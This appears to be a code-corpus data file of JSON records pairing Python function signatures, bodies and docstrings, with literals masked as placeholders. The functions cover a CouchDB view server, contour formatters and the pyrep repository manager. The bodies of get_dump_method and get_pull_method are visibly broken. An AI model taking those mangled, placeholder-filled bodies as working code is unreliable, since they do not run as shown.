{"signature": "def handle_reduce(self, reduce_function_names, mapped_docs):", "body": "reduce_functions = []<EOL>for reduce_function_name in reduce_function_names:<EOL><INDENT>try:<EOL><INDENT>reduce_function = get_function(reduce_function_name)<EOL>if getattr(reduce_function, '<STR_LIT>', None):<EOL><INDENT>reduce_function = reduce_function(self.log)<EOL><DEDENT>reduce_functions.append(reduce_function)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>self.log(repr(exc))<EOL>reduce_functions.append(lambda *args, **kwargs: None)<EOL><DEDENT><DEDENT>keys, values = list(zip(<EOL>(key, value) for ((key, doc_id), value) in mapped_docs))<EOL>results = []<EOL>for reduce_function in reduce_functions:<EOL><INDENT>try:<EOL><INDENT>results.append(reduce_function(keys, values, rereduce=False))<EOL><DEDENT>except Exception as exc:<EOL><INDENT>self.log(repr(exc))<EOL>results.append(None)<EOL><DEDENT><DEDENT>return [True, results]<EOL>", "docstring": "Reduce several mapped documents by several reduction functions.", "id": "f13910:c2:m3"}
{"signature": "def handle_rereduce(self, reduce_function_names, values):", "body": "<EOL>reduce_functions = []<EOL>for reduce_function_name in reduce_function_names:<EOL><INDENT>try:<EOL><INDENT>reduce_function = get_function(reduce_function_name)<EOL>if getattr(reduce_function, '<STR_LIT>', None):<EOL><INDENT>reduce_function = reduce_function(self.log)<EOL><DEDENT>reduce_functions.append(reduce_function)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>self.log(repr(exc))<EOL>reduce_functions.append(lambda *args, **kwargs: None)<EOL><DEDENT><DEDENT>results = []<EOL>for reduce_function in reduce_functions:<EOL><INDENT>try:<EOL><INDENT>results.append(reduce_function(None, values, rereduce=True))<EOL><DEDENT>except Exception as exc:<EOL><INDENT>self.log(repr(exc))<EOL>results.append(None)<EOL><DEDENT><DEDENT>return [True, results]<EOL>", "docstring": "Re-reduce a set of values, with a list of rereduction functions.", "id": "f13910:c2:m4"}
{"signature": "def handle_validate(self, function_name, new_doc, old_doc, user_ctx):", "body": "try:<EOL><INDENT>function = get_function(function_name)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>self.log(repr(exc))<EOL>return False<EOL><DEDENT>try:<EOL><INDENT>return function(new_doc, old_doc, user_ctx)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>self.log(repr(exc))<EOL>return repr(exc)<EOL><DEDENT>", "docstring": "Validate...this function is undocumented, but still in CouchDB.", "id": "f13910:c2:m5"}
{"signature": "def handle(self):", "body": "while True:<EOL><INDENT>try:<EOL><INDENT>line = self.rfile.readline()<EOL>try:<EOL><INDENT>cmd = json.loads(line)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>self.wfile.write(repr(exc) + NEWLINE)<EOL>continue<EOL><DEDENT>else:<EOL><INDENT>handler = getattr(self, '<STR_LIT>' + cmd[<NUM_LIT:0>], None)<EOL>if not handler:<EOL><INDENT>self.wfile.write(<EOL>repr(CommandNotFound(cmd[<NUM_LIT:0>])) + NEWLINE)<EOL>continue<EOL><DEDENT>return_value = handler(*cmd[<NUM_LIT:1>:])<EOL>if not return_value:<EOL><INDENT>continue<EOL><DEDENT>self.wfile.write(<EOL>one_lineify(json.dumps(return_value)) + NEWLINE)<EOL><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>self.wfile.write(repr(exc) + NEWLINE)<EOL>continue<EOL><DEDENT><DEDENT>", "docstring": "The main function called to handle a request.", "id": "f13910:c2:m6"}
{"signature": "def log(self, string):", "body": "self.wfile.write(json.dumps({'<STR_LIT>': string}) + NEWLINE)<EOL>", "docstring": "Log an event on the CouchDB server.", "id": "f13910:c2:m7"}
{"signature": "def __init__(self, x, y, z, formatter=numpy_formatter):", "body": "x = np.asarray(x, dtype=np.float64)<EOL>y = np.asarray(y, dtype=np.float64)<EOL>z = np.ma.asarray(z, dtype=np.float64)<EOL>if x.shape != z.shape:<EOL><INDENT>raise TypeError(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(str(x.shape), str(z.shape)))<EOL><DEDENT>if y.shape != z.shape:<EOL><INDENT>raise TypeError(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(str(y.shape), str(z.shape)))<EOL><DEDENT>mask = z.mask if z.mask is not np.ma.nomask and z.mask.any() else None<EOL>self._contour_generator = _contour.QuadContourGenerator(<EOL>x, y, z.filled(), mask, True, <NUM_LIT:0>)<EOL>super().__init__(formatter)<EOL>", "docstring": "Initialize a :class:`QuadContourGenerator`, see class docstring.", "id": "f13913:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_curvilinear(cls, x, y, z, formatter=numpy_formatter):<DEDENT>", "body": "return cls(x, y, z, formatter)<EOL>", "docstring": "Construct a contour generator from a curvilinear grid.\n\n        Note\n        ----\n        This is an alias for the default constructor.\n\n        Parameters\n        ----------\n        x : array_like\n            x coordinates of each point in `z`.  Must be the same size as `z`.\n        y : array_like\n            y coordinates of each point in `z`.  Must be the same size as `z`.\n        z : array_like\n            The 2-dimensional curvilinear grid of data to compute\n            contours for.  Masked arrays are supported.\n        formatter : callable\n            A conversion function to convert from the internal `Matplotlib`_\n            contour format to an external format.  See :ref:`formatters` for\n            more information.\n\n        Returns\n        -------\n        : :class:`QuadContourGenerator`\n            Initialized contour generator.", "id": "f13913:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_rectilinear(cls, x, y, z, formatter=numpy_formatter):<DEDENT>", "body": "x = np.asarray(x, dtype=np.float64)<EOL>y = np.asarray(y, dtype=np.float64)<EOL>z = np.ma.asarray(z, dtype=np.float64)<EOL>if x.ndim != <NUM_LIT:1>:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\".format(x.ndim))<EOL><DEDENT>if y.ndim != <NUM_LIT:1>:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\".format(y.ndim))<EOL><DEDENT>if z.ndim != <NUM_LIT:2>:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\".format(z.ndim))<EOL><DEDENT>if x.size != z.shape[<NUM_LIT:1>]:<EOL><INDENT>raise TypeError(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(x.size, z.shape[<NUM_LIT:1>]))<EOL><DEDENT>if y.size != z.shape[<NUM_LIT:0>]:<EOL><INDENT>raise TypeError(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(y.size, z.shape[<NUM_LIT:0>]))<EOL><DEDENT>y, x = np.meshgrid(y, x, indexing='<STR_LIT>')<EOL>return cls(x, y, z, formatter)<EOL>", "docstring": "Construct a contour generator from a rectilinear grid.\n\n        Parameters\n        ----------\n        x : array_like\n            x coordinates of each column of `z`.  Must be the same length as\n            the number of columns in `z`.  (len(x) == z.shape[1])\n        y : array_like\n            y coordinates of each row of `z`.  Must be the same length as the\n            number of columns in `z`.  (len(y) == z.shape[0])\n        z : array_like\n            The 2-dimensional rectilinear grid of data to compute contours for.\n            Masked arrays are supported.\n        formatter : callable\n            A conversion function to convert from the internal `Matplotlib`_\n            contour format to an external format.  See :ref:`formatters` for\n            more information.\n\n        Returns\n        -------\n        : :class:`QuadContourGenerator`\n            Initialized contour generator.", "id": "f13913:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_uniform(<EOL>cls, z, origin=(<NUM_LIT:0>, <NUM_LIT:0>), step=(<NUM_LIT:1>, <NUM_LIT:1>), formatter=numpy_formatter):<DEDENT>", "body": "z = np.ma.asarray(z, dtype=np.float64)<EOL>if z.ndim != <NUM_LIT:2>:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\".format(z.ndim))<EOL><DEDENT>if len(origin) != <NUM_LIT:2>:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\".format(<EOL>len(origin)))<EOL><DEDENT>if len(step) != <NUM_LIT:2>:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\".format(<EOL>len(step)))<EOL><DEDENT>if any(s == <NUM_LIT:0> for s in step):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(<EOL>str(step)))<EOL><DEDENT>y, x = np.mgrid[<EOL>origin[<NUM_LIT:0>]:(origin[<NUM_LIT:0>]+step[<NUM_LIT:0>]*z.shape[<NUM_LIT:0>]):step[<NUM_LIT:0>],<EOL>origin[<NUM_LIT:1>]:(origin[<NUM_LIT:1>]+step[<NUM_LIT:1>]*z.shape[<NUM_LIT:1>]):step[<NUM_LIT:1>]]<EOL>return cls(x, y, z, formatter)<EOL>", "docstring": "Construct a contour generator from a uniform grid.\n\n        NOTE\n        ----\n        The default `origin` and `step` values is equivalent to calling\n        :meth:`matplotlib.axes.Axes.contour` with only the `z` argument.\n\n        Parameters\n        ----------\n        z : array_like\n            The 2-dimensional uniform grid of data to compute contours for.\n            Masked arrays are supported.\n        origin : (number.Number, number.Number)\n            The (x, y) coordinate of data point `z[0,0]`.\n        step :  (number.Number, number.Number)\n            The (x, y) distance between data points in `z`.\n        formatter : callable\n            A conversion function to convert from the internal `Matplotlib`_\n            contour format to an external format.  See :ref:`formatters` for\n            more information.\n\n        Returns\n        -------\n        : :class:`QuadContourGenerator`\n            Initialized contour generator.", "id": "f13913:c0:m3"}
{"signature": "def null_formatter(level, vertices, codes=None):", "body": "return level, vertices, codes<EOL>", "docstring": "Null formatter that passes through the raw vertices and codes.", "id": "f13915:m0"}
{"signature": "def numpy_formatter(_, vertices, codes=None):", "body": "if codes is None:<EOL><INDENT>return vertices<EOL><DEDENT>numpy_vertices = []<EOL>for vertices_, codes_ in zip(vertices, codes):<EOL><INDENT>starts = np.nonzero(codes_ == MPLPATHCODE.MOVETO)[<NUM_LIT:0>]<EOL>stops = np.nonzero(codes_ == MPLPATHCODE.CLOSEPOLY)[<NUM_LIT:0>]<EOL>for start, stop in zip(starts, stops):<EOL><INDENT>numpy_vertices.append(vertices_[start:stop+<NUM_LIT:1>, :])<EOL><DEDENT><DEDENT>return numpy_vertices<EOL>", "docstring": "`NumPy`_ style contour formatter.\n\n    Contours are returned as a list of Nx2 arrays containing the x and y\n    vertices of the contour line.\n\n    For filled contours the direction of vertices matters:\n\n    * CCW (ACW): The vertices give the exterior of a contour polygon.\n    * CW: The vertices give a hole of a contour polygon.  This hole will\n        always be inside the exterior of the last contour exterior.\n\n    .. note:: This is the fastest format.\n\n    .. _NumPy: http://www.numpy.org", "id": "f13915:m1"}
{"signature": "def matlab_formatter(level, vertices, codes=None):", "body": "vertices = numpy_formatter(level, vertices, codes)<EOL>if codes is not None:<EOL><INDENT>level = level[<NUM_LIT:0>]<EOL><DEDENT>headers = np.vstack((<EOL>[v.shape[<NUM_LIT:0>] for v in vertices],<EOL>[level]*len(vertices))).T<EOL>vertices = np.vstack(<EOL>list(it.__next__() for it in<EOL>itertools.cycle((iter(headers), iter(vertices)))))<EOL>return vertices<EOL>", "docstring": "`MATLAB`_ style contour formatter.\n\n    Contours are returned as a single Nx2, `MATLAB`_ style, contour array.\n    There are two types of rows in this format:\n\n    * Header: The first element of a header row is the level of the contour\n      (the lower level for filled contours) and the second element is the\n      number of vertices (to follow) belonging to this contour line.\n    * Vertex: x,y coordinate pairs of the vertex.\n\n    A header row is always followed by the coresponding number of vertices.\n    Another header row may follow if there are more contour lines.\n\n    For filled contours the direction of vertices matters:\n\n    * CCW (ACW): The vertices give the exterior of a contour polygon.\n    * CW: The vertices give a hole of a contour polygon.  This hole will\n        always be inside the exterior of the last contour exterior.\n\n    For further explanation of this format see the `Mathworks documentation\n    <https://www.mathworks.com/help/matlab/ref/contour-properties.html#prop_ContourMatrix>`_\n    noting that the MATLAB format used in the `contours` package is the\n    transpose of that used by `MATLAB`_ (since `MATLAB`_ is column-major\n    and `NumPy`_ is row-major by default).\n\n    .. _NumPy: http://www.numpy.org\n\n    .. _MATLAB: https://www.mathworks.com/products/matlab.html", "id": "f13915:m2"}
{"signature": "def shapely_formatter(_, vertices, codes=None):", "body": "elements = []<EOL>if codes is None:<EOL><INDENT>for vertices_ in vertices:<EOL><INDENT>if np.all(vertices_[<NUM_LIT:0>, :] == vertices_[-<NUM_LIT:1>, :]):<EOL><INDENT>if len(vertices) < <NUM_LIT:3>:<EOL><INDENT>elements.append(Point(vertices_[<NUM_LIT:0>, :]))<EOL><DEDENT>else:<EOL><INDENT>elements.append(LinearRing(vertices_))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>elements.append(LineString(vertices_))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for vertices_, codes_ in zip(vertices, codes):<EOL><INDENT>starts = np.nonzero(codes_ == MPLPATHCODE.MOVETO)[<NUM_LIT:0>]<EOL>stops = np.nonzero(codes_ == MPLPATHCODE.CLOSEPOLY)[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>rings = [LinearRing(vertices_[start:stop+<NUM_LIT:1>, :])<EOL>for start, stop in zip(starts, stops)]<EOL>elements.append(Polygon(rings[<NUM_LIT:0>], rings[<NUM_LIT:1>:]))<EOL><DEDENT>except ValueError as err:<EOL><INDENT>if np.any(stop - start - <NUM_LIT:1> == <NUM_LIT:0>):<EOL><INDENT>if stops[<NUM_LIT:0>] < starts[<NUM_LIT:0>]+<NUM_LIT:2>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>rings = [<EOL>LinearRing(vertices_[start:stop+<NUM_LIT:1>, :])<EOL>for start, stop in zip(starts, stops)<EOL>if stop >= start+<NUM_LIT:2>]<EOL>elements.append(Polygon(rings[<NUM_LIT:0>], rings[<NUM_LIT:1>:]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise(err)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return elements<EOL>", "docstring": "`Shapely`_ style contour formatter.\n\n    Contours are returned as a list of :class:`shapely.geometry.LineString`,\n    :class:`shapely.geometry.LinearRing`, and :class:`shapely.geometry.Point`\n    geometry elements.\n\n    Filled contours return a list of :class:`shapely.geometry.Polygon`\n    elements instead.\n\n    .. note:: If possible, `Shapely speedups`_ will be enabled.\n\n    .. _Shapely: http://toblerity.org/shapely/manual.html\n\n    .. _Shapely speedups: http://toblerity.org/shapely/manual.html#performance\n\n\n    See Also\n    --------\n    `descartes <https://bitbucket.org/sgillies/descartes/>`_ : Use `Shapely`_\n    or GeoJSON-like geometric objects as matplotlib paths and patches.", "id": "f13915:m3"}
{"signature": "def __init__(self, formatter=numpy_formatter, *args, **kwargs):", "body": "<EOL>self.formatter = formatter<EOL>", "docstring": "Initialize a :class:`ContourMixin`, see class docstring.", "id": "f13915:c1:m0"}
{"signature": "def contour(self, level):", "body": "if not isinstance(level, numbers.Number):<EOL><INDENT>raise TypeError(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(type(level)))<EOL><DEDENT>vertices = self._contour_generator.create_contour(level)<EOL>return self.formatter(level, vertices)<EOL>", "docstring": "Get contour lines at the given level.\n\n        Parameters\n        ----------\n        level : numbers.Number\n            The data level to calculate the contour lines for.\n\n        Returns\n        -------\n        :\n            The result of the :attr:`formatter` called on the contour at the\n            given `level`.", "id": "f13915:c1:m1"}
{"signature": "def filled_contour(self, min=None, max=None):", "body": "<EOL>if min is None:<EOL><INDENT>min = np.finfo(np.float64).min<EOL><DEDENT>if max is None:<EOL><INDENT>max = np.finfo(np.float64).max<EOL><DEDENT>vertices, codes = (<EOL>self._contour_generator.create_filled_contour(min, max))<EOL>return self.formatter((min, max), vertices, codes)<EOL>", "docstring": "Get contour polygons between the given levels.\n\n        Parameters\n        ----------\n        min : numbers.Number or None\n            The minimum data level of the contour polygon.  If :obj:`None`,\n            ``numpy.finfo(numpy.float64).min`` will be used.\n        max : numbers.Number or None\n            The maximum data level of the contour polygon.  If :obj:`None`,\n            ``numpy.finfo(numpy.float64).max`` will be used.\n\n        Returns\n        -------\n        :\n            The result of the :attr:`formatter` called on the filled contour\n            between `min` and `max`.", "id": "f13915:c1:m2"}
{"signature": "def get_pickling_errors(obj, seen=None):", "body": "if seen == None:<EOL><INDENT>seen = []<EOL><DEDENT>if hasattr(obj, \"<STR_LIT>\"):<EOL><INDENT>state = obj.__getstate__()<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>if state == None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if isinstance(state,tuple):<EOL><INDENT>if not isinstance(state[<NUM_LIT:0>], dict):<EOL><INDENT>state=state[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>state=state[<NUM_LIT:0>].update(state[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>result = {}<EOL>for i in state:<EOL><INDENT>try:<EOL><INDENT>pickle.dumps(state[i], protocol=<NUM_LIT:2>)<EOL><DEDENT>except pickle.PicklingError as e:<EOL><INDENT>if not state[i] in seen:<EOL><INDENT>seen.append(state[i])<EOL>result[i]=get_pickling_errors(state[i],seen)<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Investigate pickling errors.", "id": "f13917:m0"}
{"signature": "def get_dump_method(dump, protocol=-<NUM_LIT:1>):", "body": "if dump is None:<EOL><INDENT>dump = '<STR_LIT>'<EOL><DEDENT>if dump.startswith('<STR_LIT>'):<EOL><INDENT>if dump == '<STR_LIT>':<EOL><INDENT>proto = protocol<EOL><DEDENT>else:<EOL><INDENT>proto = dump.strip('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>proto = int(proto)<EOL>assert proto>=-<NUM_LIT:1><EOL><DEDENT>except:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>code = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>rt dill<EOL><INDENT>open('<STR_LIT>', '<STR_LIT:wb>') as fd:<EOL><DEDENT>dill.dump( value, fd, protocol=%i )<EOL>fd.flush()<EOL>os.fsync(fd.fileno())<EOL>proto<EOL>elif dump == '<STR_LIT>':<EOL><INDENT>code = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>rt numpy<EOL><INDENT>open('<STR_LIT>', '<STR_LIT:wb>') as fd:<EOL><DEDENT>numpy.save(file=fd, arr=value)<EOL>fd.flush()<EOL>os.fsync(fd.fileno())<EOL>elif dump == '<STR_LIT>':<EOL><INDENT>code =", "docstring": "Get dump function code string", "id": "f13917:m1"}
{"signature": "def get_pull_method(pull):", "body": "if pull is None or pull.startswith('<STR_LIT>'):<EOL><INDENT>code = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>rt dill<EOL><INDENT>open('<STR_LIT>', '<STR_LIT:rb>') as fd:<EOL><DEDENT>PULLED_DATA = dill.load( fd )<EOL>elif pull == '<STR_LIT>':<EOL><INDENT>code = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>rt numpy<EOL><INDENT>open('<STR_LIT>', '<STR_LIT:rb>') as fd:<EOL><DEDENT>PULLED_DATA=numpy.load(file=fd)<EOL>elif pull == '<STR_LIT>':<EOL><INDENT>code =", "docstring": "Get pull function code string", "id": "f13917:m2"}
{"signature": "def path_required(func):", "body": "@wraps(func)<EOL>def wrapper(self, *args, **kwargs):<EOL><INDENT>if self.path is None:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL>return<EOL><DEDENT>return func(self, *args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorate methods when repository path is required.", "id": "f13917:m3"}
{"signature": "def __clean_before_after(self, stateBefore, stateAfter, keepNoneEmptyDirectory=True):", "body": "<EOL>errors    = []<EOL>afterDict = {}<EOL>[afterDict.setdefault(list(aitem)[<NUM_LIT:0>],[]).append(aitem) for aitem in stateAfter]<EOL>for bitem in reversed(stateBefore):<EOL><INDENT>relaPath = list(bitem)[<NUM_LIT:0>]<EOL>basename = os.path.basename(relaPath)<EOL>btype    = bitem[relaPath]['<STR_LIT:type>']<EOL>alist    = afterDict.get(relaPath, [])<EOL>aitem    = [a for a in alist if a[relaPath]['<STR_LIT:type>']==btype]<EOL>if len(aitem)><NUM_LIT:1>:<EOL><INDENT>errors.append(\"<STR_LIT>\"%(basename,btype,relaPath))<EOL>continue<EOL><DEDENT>if not len(aitem):<EOL><INDENT>removeDirs  = []<EOL>removeFiles = []<EOL>if btype == '<STR_LIT>':<EOL><INDENT>if not len(relaPath):<EOL><INDENT>errors.append(\"<STR_LIT>\")<EOL>continue<EOL><DEDENT>removeDirs.append(os.path.join(self.__path,relaPath))<EOL>removeFiles.append(os.path.join(self.__path,relaPath,self.__dirInfo))<EOL>removeFiles.append(os.path.join(self.__path,relaPath,self.__dirLock))<EOL><DEDENT>elif btype == '<STR_LIT:file>':<EOL><INDENT>removeFiles.append(os.path.join(self.__path,relaPath))<EOL>removeFiles.append(os.path.join(self.__path,relaPath,self.__fileInfo%basename))<EOL>removeFiles.append(os.path.join(self.__path,relaPath,self.__fileLock%basename))<EOL><DEDENT>else:<EOL><INDENT>removeDirs.append(os.path.join(self.__path,relaPath))<EOL>removeFiles.append(os.path.join(self.__path,relaPath,self.__fileInfo%basename))<EOL><DEDENT>for fpath in removeFiles:<EOL><INDENT>if os.path.isfile(fpath):<EOL><INDENT>try:<EOL><INDENT>os.remove(fpath)<EOL><DEDENT>except Exception as err:<EOL><INDENT>errors.append(\"<STR_LIT>\"%(fpath, str(err)))<EOL><DEDENT><DEDENT><DEDENT>for dpath in removeDirs:<EOL><INDENT>if os.path.isdir(dpath):<EOL><INDENT>if keepNoneEmptyDirectory or not len(os.listdir(dpath)):<EOL><INDENT>try:<EOL><INDENT>shutil.rmtree(dpath)<EOL><DEDENT>except Exception as err:<EOL><INDENT>errors.append(\"<STR_LIT>\"%(fpath, str(err)))<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return len(errors)==<NUM_LIT:0>, errors<EOL>", "docstring": "clean repository given before and after states", "id": "f13917:c1:m6"}
{"signature": "@property<EOL><INDENT>def info(self):<DEDENT>", "body": "return self.__repo['<STR_LIT>']<EOL>", "docstring": "Get repository information", "id": "f13917:c1:m12"}
{"signature": "@property<EOL><INDENT>def path(self):<DEDENT>", "body": "return self.__path<EOL>", "docstring": "The repository instance path which points to the directory where\n        .pyreprepo is.", "id": "f13917:c1:m13"}
{"signature": "@property<EOL><INDENT>def uniqueName(self):<DEDENT>", "body": "return self.__repo['<STR_LIT>']<EOL>", "docstring": "Get repository unique name as generated when repository was created", "id": "f13917:c1:m14"}
{"signature": "def get_stats(self):", "body": "if self.__path is None:<EOL><INDENT>return <NUM_LIT:0>,<NUM_LIT:0><EOL><DEDENT>nfiles = <NUM_LIT:0><EOL>ndirs  = <NUM_LIT:0><EOL>for fdict in self.get_repository_state():<EOL><INDENT>fdname = list(fdict)[<NUM_LIT:0>]<EOL>if fdname == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if fdict[fdname].get('<STR_LIT>', False):<EOL><INDENT>nfiles += <NUM_LIT:1><EOL><DEDENT>elif fdict[fdname].get('<STR_LIT>', False):<EOL><INDENT>ndirs += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>return ndirs,nfiles<EOL>", "docstring": "Get repository descriptive stats\n\n:Returns:\n    #. numberOfDirectories (integer): Number of diretories in repository\n    #. numberOfFiles (integer): Number of files in repository", "id": "f13917:c1:m15"}
{"signature": "def reset(self):", "body": "self.__path   = None<EOL>self.__repo   = {'<STR_LIT>': str(uuid.uuid1()),<EOL>'<STR_LIT>': time.time(),<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': str(__version__),<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': []}<EOL>", "docstring": "Reset repository instance.", "id": "f13917:c1:m16"}
{"signature": "def is_repository(self, path):", "body": "if path.strip() in ('<STR_LIT>','<STR_LIT:.>'):<EOL><INDENT>path = os.getcwd()<EOL><DEDENT>repoPath = os.path.realpath( os.path.expanduser(path) )<EOL>if os.path.isfile( os.path.join(repoPath,self.__repoFile) ):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>from .OldRepository import Repository<EOL>REP = Repository()<EOL>result = REP.is_repository(repoPath)<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>if result:<EOL><INDENT>warnings.warn(\"<STR_LIT>\")<EOL><DEDENT>return result<EOL><DEDENT><DEDENT>", "docstring": "Check if there is a Repository in path.\n\n:Parameters:\n    #. path (string): The real path of the directory where to check if\n       there is a repository.\n\n:Returns:\n    #. result (boolean): Whether it's a repository or not.", "id": "f13917:c1:m17"}
{"signature": "def load_repository(self, path, verbose=True, ntrials=<NUM_LIT:3>):", "body": "assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>repo = None<EOL>for _trial in range(ntrials):<EOL><INDENT>try:<EOL><INDENT>self.__load_repository(path=path, verbose=True)<EOL><DEDENT>except Exception as err1:<EOL><INDENT>try:<EOL><INDENT>from .OldRepository import Repository<EOL>REP = Repository(path)<EOL><DEDENT>except Exception as err2:<EOL><INDENT>error = \"<STR_LIT>\"%(err1, err2)<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>error = None<EOL>repo  = REP<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>error = None<EOL>repo  = self<EOL>break<EOL><DEDENT><DEDENT>assert error is None, error<EOL>return repo<EOL>", "docstring": "Load repository from a directory path and update the current instance.\nFirst, new repository still will be loaded. If failed, then old\nstyle repository load will be tried.\n\n:Parameters:\n    #. path (string): The path of the directory from where to load\n       the repository from. If '.' or an empty string is passed,\n       the current working directory will be used.\n    #. verbose (boolean): Whether to be verbose about abnormalities\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.\n\n:Returns:\n     #. repository (pyrep.Repository): returns self repository with loaded data.", "id": "f13917:c1:m18"}
{"signature": "def create_repository(self, path, info=None, description=None, replace=True, allowNoneEmpty=True, raiseError=True):", "body": "assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert isinstance(allowNoneEmpty, bool), \"<STR_LIT>\"<EOL>assert isinstance(replace, bool), \"<STR_LIT>\"<EOL>assert isinstance(path, basestring), \"<STR_LIT>\"<EOL>if info is None:<EOL><INDENT>info = '<STR_LIT>'<EOL><DEDENT>try:<EOL><INDENT>pickle.dumps(info)<EOL><DEDENT>except Exception as err:<EOL><INDENT>raise Exception(\"<STR_LIT>\"%str(err))<EOL><DEDENT>if description is None:<EOL><INDENT>description = '<STR_LIT>'<EOL><DEDENT>assert isinstance(description, basestring), \"<STR_LIT>\"<EOL>if path.strip() in ('<STR_LIT>','<STR_LIT:.>'):<EOL><INDENT>path = os.getcwd()<EOL><DEDENT>realPath = os.path.realpath( os.path.expanduser(path) )<EOL>message = []<EOL>if self.is_repository(realPath):<EOL><INDENT>if not replace:<EOL><INDENT>message.append(\"<STR_LIT>\"%path)<EOL>return False, message<EOL><DEDENT>else:<EOL><INDENT>message.append(\"<STR_LIT>\"%path)<EOL>try:<EOL><INDENT>for _df in os.listdir(realPath):<EOL><INDENT>_p = os.path.join(realPath, _df)<EOL>if os.path.isdir(_p):<EOL><INDENT>shutil.rmtree( _p )<EOL><DEDENT>else:<EOL><INDENT>os.remove(_p)<EOL><DEDENT><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>message.append(\"<STR_LIT>\"%(str(err)))<EOL>return False, '<STR_LIT:\\n>'.join(message)<EOL><DEDENT><DEDENT><DEDENT>if not os.path.isdir(realPath):<EOL><INDENT>os.makedirs(realPath)<EOL><DEDENT>elif len(os.listdir(realPath)) and not allowNoneEmpty:<EOL><INDENT>return False, \"<STR_LIT>\"<EOL><DEDENT>oldRepo = self.__repo<EOL>self.reset()<EOL>self.__path = realPath.rstrip(os.sep)<EOL>self.__repo['<STR_LIT>'] = info<EOL>saved = self.save(description=description)<EOL>if not saved:<EOL><INDENT>self.__repo = oldRepo<EOL>message.append(\"<STR_LIT>\")<EOL>return False, '<STR_LIT:\\n>'.join(message)<EOL><DEDENT>return True, '<STR_LIT:\\n>'.join(message)<EOL>", "docstring": "create a repository in a directory. This method insures the creation of\nthe directory in the system if it is missing.\\n\n\n**N.B. If replace is True and existing repository is found in path, create_repository erases all existing files and directories in path.**\n\n:Parameters:\n    #. path (string): The real absolute path where to create the Repository.\n       If '.' or an empty string is passed, the current working directory will be used.\n    #. description (None, str): Repository main directory information.\n    #. info (None, object): Repository information. It can\n       be None or any pickle writable type of data.\n    #. replace (boolean): Whether to replace existing repository.\n    #. allowNoneEmpty (boolean): Allow creating repository in none-empty\n       directory.\n    #. raiseError (boolean): Whether to raise encountered error instead\n       of returning failure.\n\n:Returns:\n    #. success (boolean): Whether creating repository was successful\n    #. message (None, str): Any returned message.", "id": "f13917:c1:m19"}
